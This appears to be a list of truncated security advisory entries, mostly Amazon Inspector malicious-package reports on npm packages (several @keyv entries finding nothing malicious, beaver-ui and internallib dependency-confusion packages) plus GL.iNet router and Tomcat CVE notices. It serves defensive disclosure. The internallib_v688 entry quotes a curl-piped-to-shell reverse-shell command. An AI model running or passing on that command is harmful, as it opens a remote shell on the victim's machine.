Malicious code in @keyv/compress-brotli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86bff1a8498159cc349a64d9d6459b842242e7d860aa2a33649708c9fc5f456a Package @keyv/[email protected] is a Brotli compression adapter for the keyv key-value store family. No credential access, network exfiltration,...

Malicious code in @keyv/compress-lz4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cd7fac64e01bf267ca0ee1c3234782fd17c24865d3be3e0cbfa26b65fe83c1a3 Package is an LZ4 compression adapter for the keyv key-value store. The dist bundles dist/index.cjs and dist/index.mjs contain Buffer.from...,...

MAL-2026-12009 Malicious code in @keyv/compress-brotli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86bff1a8498159cc349a64d9d6459b842242e7d860aa2a33649708c9fc5f456a Package @keyv/[email protected] is a Brotli compression adapter for the keyv key-value store family. No credential access, network exfiltration,...

Malicious code in @keyv/serialize-superjson (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 60fd6f442e95be934353f6974c755757a0693ad83ea1bb5db17d1f555c2663fc Package @keyv/[email protected] shows no a static rule matches and no traced malicious behavior. No install-time lifecycle hooks, network...

MAL-2026-12022 Malicious code in @keyv/serialize-superjson (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 60fd6f442e95be934353f6974c755757a0693ad83ea1bb5db17d1f555c2663fc Package @keyv/[email protected] shows no a static rule matches and no traced malicious behavior. No install-time lifecycle hooks, network...

MAL-2026-12008 Malicious code in @keyv/cloudflare-kv (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b3d12d9e6fc46545510e3656381bca3029ff156434a34d54b21ed45d3c4145a @keyv/[email protected] is a Keyv storage adapter for Cloudflare KV. No install-time lifecycle hooks, credential-harvesting behavior, obfuscated...

MAL-2026-12024 Malicious code in @keyv/test-suite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 710c3cc7a3215d4a3bfa506c57bf04ffc7973d33da9dca652060a6bf1d0a4856 @keyv/test-suite is a shared test harness used by keyv storage adapter packages. No install-time lifecycle hooks, remote fetches, credential reads,...

Malicious code in @keyv/bigmap (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a8f8e82f91c41a43a5730b8c4d545e0b2e7b8b43b0945d656f937ce6b4adf79 The package contents did not exhibit any behaviors associated with supply-chain attacks: no install/preinstall/postinstall lifecycle hooks fetching o...

MAL-2026-12007 Malicious code in @keyv/bigmap (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a8f8e82f91c41a43a5730b8c4d545e0b2e7b8b43b0945d656f937ce6b4adf79 The package contents did not exhibit any behaviors associated with supply-chain attacks: no install/preinstall/postinstall lifecycle hooks fetching o...

MAL-2026-11517 Malicious code in internallib_v688 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...

Malicious code in internallib_v688 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...

CVE-2026-18684 GL.iNet GL-MT3000 modem.so glc remove_profile command injection

A weakness has been identified in GL.iNet GL-MT3000 up to 4.4.5. This issue affects the function removeprofile of the file /cgi-bin/glc of the component modem.so. This manipulation causes command injection. It is possible to initiate the attack remotely. The exploit has been made available to the...

K000162737: Apache Tomcat vulnerability CVE-2026-66299

Security Advisory Description Uncontrolled Resource Consumption vulnerability in Apache Tomcat's WebSocket chat example. This issue affects Apache Tomcat: from 11.0.0-M20 through 11.0.24, from 10.1.24 through 10.1.57, from 9.0.89 through 9.0.120. Users who have followed the security guidance to...

CVE-2026-18612

A flaw has been found in GL-iNet GL-MT3000 up to 4.4.5. This vulnerability affects the function plugins.removepackage/plugins.installpackage of the file /cgi-bin/glc of the component plugins.so Native Plugin. This manipulation causes command injection. The attack can be initiated remotely. The...

EUVD-2026-52395

A flaw has been found in GL-iNet GL-MT3000 up to 4.4.5. This vulnerability affects the function plugins.removepackage/plugins.installpackage of the file /cgi-bin/glc of the component plugins.so Native Plugin. This manipulation causes command injection. The attack can be initiated remotely. The...

MAL-2026-11513 Malicious code in internallib_v568 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 755dfc0e12b6602ff21d04446f2c6bdc23499c0bd9645c14b9209dc25fbb0be5 [email protected] is shaped as a dependency-confusion artifact against a private package name. The main module exports a payload containing a...

MAL-2026-11509 Malicious code in beaver-ui-items-with-more (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c1daccfac428195187be33025eb0f9094d2196ca643e3eb339e74a24c215ba1 The package's declared postinstall node setup.js and its main entry index.js which unconditionally calls require'./setup' fetch a platform-specific...

MAL-2026-11508 Malicious code in beaver-ui-header (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 758137caa2a9c3d1dffb2fcffabc810c9b47696f78f20d412151d351d425faa0 [email protected] advertises itself as a UI header library but ships a setup.js that runs on npm postinstall and again on require via index.js...

Malicious code in beaver-ui-header (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 758137caa2a9c3d1dffb2fcffabc810c9b47696f78f20d412151d351d425faa0 [email protected] advertises itself as a UI header library but ships a setup.js that runs on npm postinstall and again on require via index.js...

Malicious code in accounts-final-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7e67b952090179c0e7ed57045bf117d0cc14ca7d832ddce2963c4f2049b66bb Requiring accounts-final-form auto-runs setup.js via process.nextTickbootstrap in index.js. setup.js selects a platform-specific asset path...